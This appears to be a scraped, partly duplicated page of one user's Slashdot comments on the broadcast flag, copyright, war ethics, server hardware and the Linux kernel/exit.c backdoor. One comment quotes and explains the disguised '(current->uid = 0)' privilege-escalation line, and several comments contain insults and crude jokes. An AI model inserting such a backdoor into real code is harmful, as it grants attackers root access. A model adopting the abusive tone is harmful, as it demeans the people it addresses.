Had it come in through normal channels, I very much doubt whether it would have been committed in the first place. kernel/exit.c is a pretty stable area of the kernel - i.e., not one that changes very often. Any patch changing it would have been looked at by at least one core kernel hacker, and while the patch was crafted to avoid compiler warnings and look relatively legitimate, trying to explain why it would be needed probably would not have been easy.
Local root, by the looks of it. The changed file was kernel/exit.c, and the change was faked to look like it was doing something, if not reasonable, at least relatively harmless. This line is the killer:
if ((options == (__WCLONE|__WALL)) && (current->uid = 0))
As noted on LKML, (current->uid = 0) was probably deliberately surrounded by brackets to avoid a gcc warning of an assignment within a test.
I'm confused as to how driver source code, if one had access to it, couldn't simply be altered to ignore this "flag".
That's a big 'if'. Do you really think broadcasters are going to sit by and do nothing? Expect to see an attempt to pass a law that expands the DMCA by restricting your right to distribute source code (it'll be called a "device") that can avoid the flag, even if that is not the main intent of the code.
How does he think those digital format broadcasts go out? Perhaps he imagines giant towers firing DVD-ROMs at your house, and your antenna is replaced by a net to catch them.
A law written only to benefit a corporation is by definition NOT the right thing to do. Laws restrict the freedom of the people, and thus should only be put in place when the benefits to the majority outweigh the restriction of freedom imposed.
Striking a balance between consumers' expectations that they will be able to turn new technologies to their advantage and content producers' expectations that they will be able to protect the products of their creative genius is a real and growing challenge as we enter the digital age.
"protect the products of their creative genius"? BULLSHIT. It's all about protecting their bottom line, not to mention that the ones who make the money aren't necessarily the ones who create the content.
You seem to have missed the point I was making - in both 9-11 and Hiroshima/Nagasaki, civilians were targetted, yet one is excused because 'you were at war', while the other one is an atrocity.
I love this non-logic you use. "They're the bad guys because they fly planes into skyscrapers, but we're the good guys because we use our WMD on civilians to end wars!"
I did this recently too (it's not quite up and running yet, but getting there).
I was able to get a PIII Compaq server with 6-bay drive cage and a RAID card for ~$US500. The drives were pulled from another machine I bought that had 18 36GB U160 SCSI drives in it, so I've got plenty of replacement drives as well...
Y'know, I want to agree with you, I really do, but I just can't bring myself to do it.
Copyright was not originally intended to provide a way to allow creators to restrict how their works are distributed - that was a deliberate side-effect of the actual purpose of copyright at the time, which was to promote further creation. In other words, "if you keep on writing books/painting pictures/whatever, you get to say what people can do with that - but only for a little while, because any creative work eventually should become the property of the people".
Now, before somebody starts foaming at the mouth about how that was then, this is now, and books, movies, music, etc. are big business and thus more control should be given to those who create them - I do agree with you, to a point. If I wrote a book and the next day had it spread around the world without my consent, I'd be pissed.
The problem is, we're reaching a point in history where, for the very first time, it costs virtually nothing to store, replicate and distribute creative works. In the old days, a book had to be laboriously handcopied, or re-typeset, or be run through a photocopier a page at a time. Now, any book on the planet fits into my USB keyring a thousandfold.
At this point in time, don't we want to rethink what the meaning of restrictions on copying are in a world where there is no physical basis for those restrictions?
Isn't the whole point of creation to enrich your life and the lives of those around you? (I exclude Britney Spears songs, "books" by anyone with the first name Danielle, and movies that feature the incumbent Governor of California from this.) Surely we can figure out a way that someone who creates something worthwhile can make a reasonable living doing so, without forbidding everybody else to pass such a creation to other people without restriction?
Slashdot Mirror
That was all I saw, and it got me moist as a snack cake down there.
Harry, you fat bastard, that's not the sort of image I want to be given in the morning. Excuse me while I go throw up.
The only person that would matter is Linus, because he'd notice if there were any change to the main BK tree that didn't come from him.
Had it come in through normal channels, I very much doubt whether it would have been committed in the first place.
kernel/exit.c is a pretty stable area of the kernel - i.e., not one that changes very often. Any patch changing it would have been looked at by at least one core kernel hacker, and while the patch was crafted to avoid compiler warnings and look relatively legitimate, trying to explain why it would be needed probably would not have been easy.
Local root, by the looks of it. The changed file was kernel/exit.c, and the change was faked to look like it was doing something, if not reasonable, at least relatively harmless. This line is the killer:
if ((options == (__WCLONE|__WALL)) && (current->uid = 0))
As noted on LKML, (current->uid = 0) was probably deliberately surrounded by brackets to avoid a gcc warning of an assignment within a test.
I'm confused as to how driver source code, if one had access to it, couldn't simply be altered to ignore this "flag".
That's a big 'if'. Do you really think broadcasters are going to sit by and do nothing? Expect to see an attempt to pass a law that expands the DMCA by restricting your right to distribute source code (it'll be called a "device") that can avoid the flag, even if that is not the main intent of the code.
HAHAHAHA.
How does he think those digital format broadcasts go out? Perhaps he imagines giant towers firing DVD-ROMs at your house, and your antenna is replaced by a net to catch them.
A law written only to benefit a corporation is by definition NOT the right thing to do. Laws restrict the freedom of the people, and thus should only be put in place when the benefits to the majority outweigh the restriction of freedom imposed.
FYI: Corporations are NOT people.
Striking a balance between consumers' expectations that they will be able to turn
new technologies to their advantage and content producers' expectations that they will be
able to protect the products of their creative genius is a real and growing challenge as we
enter the digital age.
"protect the products of their creative genius"? BULLSHIT. It's all about protecting their bottom line, not to mention that the ones who make the money aren't necessarily the ones who create the content.
IIRC, the Final Fantasy movie script was written by an American.
Sunspots!!
Hmm, you must be new around here...
/. editors care about accuracy? Check. /. used to be better? Check.
UID over 500,000? Check.
Thinks
Thinks
Yup, you're definitely new around here.
...here comes another +1000-comment pro-gun/anti-gun flamewar :(
Not to mention "numma".
Hey - are you implying that all Windows users are retards?!
Pity that Woking's such a crappy place to live otherwise... I didn't mind it so much, but it drove my wife batty.
Yeah, pandering to the lowest common denominator. Way to go.
You seem to have missed the point I was making - in both 9-11 and Hiroshima/Nagasaki, civilians were targetted, yet one is excused because 'you were at war', while the other one is an atrocity.
Didn't the Polish Resistance do it first?
I love this non-logic you use. "They're the bad guys because they fly planes into skyscrapers, but we're the good guys because we use our WMD on civilians to end wars!"
Everybody's still just as dead, shithead.
I did this recently too (it's not quite up and running yet, but getting there).
I was able to get a PIII Compaq server with 6-bay drive cage and a RAID card for ~$US500. The drives were pulled from another machine I bought that had 18 36GB U160 SCSI drives in it, so I've got plenty of replacement drives as well...
Y'know, I want to agree with you, I really do, but I just can't bring myself to do it.
Copyright was not originally intended to provide a way to allow creators to restrict how their works are distributed - that was a deliberate side-effect of the actual purpose of copyright at the time, which was to promote further creation. In other words, "if you keep on writing books/painting pictures/whatever, you get to say what people can do with that - but only for a little while, because any creative work eventually should become the property of the people".
Now, before somebody starts foaming at the mouth about how that was then, this is now, and books, movies, music, etc. are big business and thus more control should be given to those who create them - I do agree with you, to a point. If I wrote a book and the next day had it spread around the world without my consent, I'd be pissed.
The problem is, we're reaching a point in history where, for the very first time, it costs virtually nothing to store, replicate and distribute creative works. In the old days, a book had to be laboriously handcopied, or re-typeset, or be run through a photocopier a page at a time. Now, any book on the planet fits into my USB keyring a thousandfold.
At this point in time, don't we want to rethink what the meaning of restrictions on copying are in a world where there is no physical basis for those restrictions?
Isn't the whole point of creation to enrich your life and the lives of those around you? (I exclude Britney Spears songs, "books" by anyone with the first name Danielle, and movies that feature the incumbent Governor of California from this.) Surely we can figure out a way that someone who creates something worthwhile can make a reasonable living doing so, without forbidding everybody else to pass such a creation to other people without restriction?
Those were woman boobies, dude.
I think I've found someone who needs to get out a bit more...
in other words, you don't have 2000 80mg oxycontins hidden in your rectum
FUCK! How do you guys know?? Now I'm going to have to find somewhere else to hide my stash.
It may not be good explanation for current SCO's action
;)
I think that line serves as the understatement of the year, myself
The funny thing is, we are actually planning to run it on IBM hardware. Damn ;)